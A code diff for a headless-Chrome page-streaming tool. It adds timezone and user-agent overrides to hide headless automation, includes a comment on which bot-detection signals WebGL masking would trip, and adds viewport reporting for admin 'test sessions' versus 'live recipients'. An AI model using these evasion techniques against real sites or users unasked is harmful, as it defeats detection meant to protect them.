|
||||
// network's geolocation. Left to the operator because only they know the
|
||||
// proxy/exit location; an unset value keeps the host timezone.
|
||||
if opts.Timezone != "" {
|
||||
if err := (proto.EmulationSetTimezoneOverride{TimezoneID: opts.Timezone}).Call(page); err != nil {
|
||||
emitter.log(fmt.Sprintf("[session] warning: failed to set timezone %q: %v", opts.Timezone, err))
|
||||
} else {
|
||||
emitter.log(fmt.Sprintf("[session] using timezone: %s", opts.Timezone))
|
||||
}
|
||||
}
|
||||
|
||||
// Apply user-agent override. When headless and no explicit UA is set we use
|
||||
// DefaultChromiumUA to strip "HeadlessChrome" from the header
|
||||
ua := opts.UserAgent
|
||||
if ua == "" && opts.Headless {
|
||||
ua = DefaultChromiumUA
|
||||
}
|
||||
if ua != "" {
|
||||
if err := page.SetUserAgent(&proto.NetworkSetUserAgentOverride{UserAgent: ua}); err != nil {
|
||||
emitter.log(fmt.Sprintf("[session] warning: failed to set user-agent: %v", err))
|
||||
}
|
||||
}
|
||||
// Note: the software WebGL renderer (SwiftShader, from headless Chrome without a
|
||||
// GPU) is intentionally NOT masked in JS. Overriding getParameter plus
|
||||
// Function.prototype.toString to hide it trips TamperedFunctions, and a
|
||||
// document-script override does not reach worker OffscreenCanvas contexts, so the
|
||||
// window and workers report different renderers (hasInconsistentWorkerValues).
|
||||
// Both are far stronger bot signals than SwiftShader itself. The correct fix is a
|
||||
// real GPU at the browser level (headful + GPU, or an ANGLE GL backend), not JS.
|
||||
|
||||
// Signal the controller that a page is ready for streaming.
|
||||
select {
|
||||
|
||||
@@ -89,6 +89,22 @@
|
||||
ws.send(JSON.stringify({ type: 'close_tab', targetID }));
|
||||
}
|
||||
|
||||
// sendViewport reports the admin's resolution so a test run renders at their size.
|
||||
// Mirrors the recipient viewport message; the backend ignores it for live sessions.
|
||||
function sendViewport() {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'viewport',
|
||||
width: window.innerWidth,
|
||||
height: window.innerHeight,
|
||||
dpr: window.devicePixelRatio || 1,
|
||||
screenWidth: window.screen.width,
|
||||
screenHeight: window.screen.height
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
function tabLabel(url) {
|
||||
if (!url || url === 'about:blank') return 'New tab';
|
||||
try {
|
||||
@@ -117,10 +133,18 @@
|
||||
|
||||
let keyListenersAttached = false;
|
||||
|
||||
/** @type {ReturnType<typeof setTimeout> | undefined} */
|
||||
let resizeDebounce;
|
||||
function onResize() {
|
||||
clearTimeout(resizeDebounce);
|
||||
resizeDebounce = setTimeout(sendViewport, 200);
|
||||
}
|
||||
|
||||
function addKeyListeners() {
|
||||
if (keyListenersAttached) return;
|
||||
window.addEventListener('keydown', onKeyDown, true);
|
||||
window.addEventListener('keyup', onKeyUp, true);
|
||||
window.addEventListener('resize', onResize);
|
||||
keyListenersAttached = true;
|
||||
}
|
||||
|
||||
@@ -128,6 +152,8 @@
|
||||
if (!keyListenersAttached) return;
|
||||
window.removeEventListener('keydown', onKeyDown, true);
|
||||
window.removeEventListener('keyup', onKeyUp, true);
|
||||
window.removeEventListener('resize', onResize);
|
||||
clearTimeout(resizeDebounce);
|
||||
keyListenersAttached = false;
|
||||
}
|
||||
|
||||
@@ -142,6 +168,11 @@
|
||||
|
||||
ws.onopen = () => {
|
||||
status = 'Connected';
|
||||
// In control mode, tell the backend our resolution so an editor test run
|
||||
// renders at the admin's own size instead of the headless 800x600 default.
|
||||
// The backend applies this only for test sessions; a live recipient's
|
||||
// viewport is left untouched.
|
||||
if (controlMode) sendViewport();
|
||||
fpsInterval = setInterval(() => {
|
||||
fps = frameCount;
|
||||
frameCount = 0;
|
||||
|
||||
Reference in New Issue
Block a user